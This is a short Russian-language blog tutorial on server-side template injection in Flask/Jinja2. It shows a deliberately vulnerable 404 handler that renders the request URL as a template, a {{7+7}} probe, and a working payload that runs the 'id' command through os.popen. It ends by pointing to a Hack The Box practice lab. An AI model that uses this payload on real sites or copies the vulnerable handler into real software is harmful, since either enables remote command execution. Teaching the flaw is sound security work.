April 17, 2022

Взлом сайта за 10 секунд или SSTI

Всем доброго времени суток.

С вами E7.

Введение:

Сегодня мы поговорим о таком типе атак как SSTI, что же оно из себя представляет?

Шаблонизатор - это программа, позволяющая веб-сайтам отделять логику программирования от отображения данных при создании динамических веб-страниц.

@app.errorhandler(404) 

def page_not_found(e): 

    template = '''{%% extends "layout.html" %%} 

    {%% block body %%} 

    <div class="center-content error"> 

        <h1>Opps! That page doesn't exist.</h1> 

        <h3>%s</h3> 

    </div> 

    {%% endblock %%} 

    ''' % (request.url) 

    return render_template_string(template), 404

Название запрашеваемой страницы обрабатывается и реднерится на странице. Вот что мы получим перейдя на несуществующую страницу:

Что в этом может быть опасного? Давайте тестировать!

Основное:

Никогда нельзя доверять пользовательскому вводу. Пример кода выше обрабатывает пользовательский ввод таким образом, что становится возможным исполнять команды, как можно протестировать наличие уязвимости?

Давайте перейдем на страницу invalid{{7+7}}

Движок обработал 7+7 как 14, это фактически означает что сейчас мы можем исполнить любой код. Чтобы найти нужный вам эксплоит можно просто загуглить название движка и добавить "ssti exploit". В данном случае чтобы исполнить команду "id" нам нужно ввести:{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

Заключение:

SSTI - очень легкая атака которая позволяет взломать сайт за секунды. Вы можете попрактиковаться и легально! Создайте аккаунт на сервисе Hack The Box и пройдите простую лабораторию https://app.hackthebox.com/challenges/152.

Удачного тестирования!